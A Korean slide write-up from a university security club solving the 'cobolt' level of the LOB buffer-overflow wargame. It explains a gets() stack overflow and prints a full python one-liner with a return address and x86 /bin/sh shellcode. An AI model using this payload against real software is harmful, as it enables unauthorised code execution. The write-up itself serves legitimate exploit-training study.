|  |
| --- |
| LOB cobolt |
| C:\Users\Administrator\Desktop\COLONY\동아리마크.PNG  2018. 01. 06 (sat)  Dong-a .univ  COLONY  Young jin kim |
| Contents |
| 1. 문제 이해 2. 페이로드 3. 문제 분석 |

|  |
| --- |
| 문제 이해 |
| 1. **소스코드 분석**     주석 : 작은 크기의 버퍼, 입력을 위한 스트림  함수 : buffer[16]선언, 버퍼에 데이터 저장, 버퍼의 데이터 출력의 간단한 코드  특이점 : gets 함수는 표준 입출력으로 데이터를 입력 받음 |
| 페이로드 |
| 1. **변수 선언 후 gets로 데이터를 입력 받는 과정에서 익스플로잇 시도**  |  |  |  |  | | --- | --- | --- | --- | | Buffer[16] | Ebp[4] | Ret[4] |  | | “A”[20] | | \x20\xfb\xff\xbf | ShellCode[25] |  1. **goblin파일 실행** 2. **표준 입력 시** (python -c 'print "A"\*20+"\x20\xfb\xff\xbf   "+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62  \x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"';cat)  이 입력되도록 함 |
| 문제 분석 |
| 1. **쉘코드가 들어 갈 주소찾기**     buffer[16] + ebp[4] + ret[4] = A[20] + B[4]  42424242가 끝나는 다음주소값 : 0xbfffb20(Shell Code삽입 지점)   1. **Segmentation fault**     \x20은 우리가원하는 1byte값 쉘코드가 아니라 4byte짜리 문자임  따라서 원하는 지점에 쉘코드가 삽입이 안됨. |
| 문제 분석 |
| 1. **성공한 코드 분석**     **3-1 파이프(|)의 역할**  앞의 인자를 뒤에 실행되는 고블린으로 넘겨주는 역할  **3-2 cat의 역할**  표준 입력을 표준 출력으로 바로 전달한다.  표준 입력은 마지막에 eof가 있어 쉘이 종료됨.  Cat이 없다면 쉘 실행 후 종료됨.  **3-3 괄호()의 역할**  앞의 인자를 괄호로 묶어주지 않으면 앞의 코드가 실행되고  다 끝난 다음 cat이 독자적으로 실행됨.  따라서 괄호로 묶어줌 |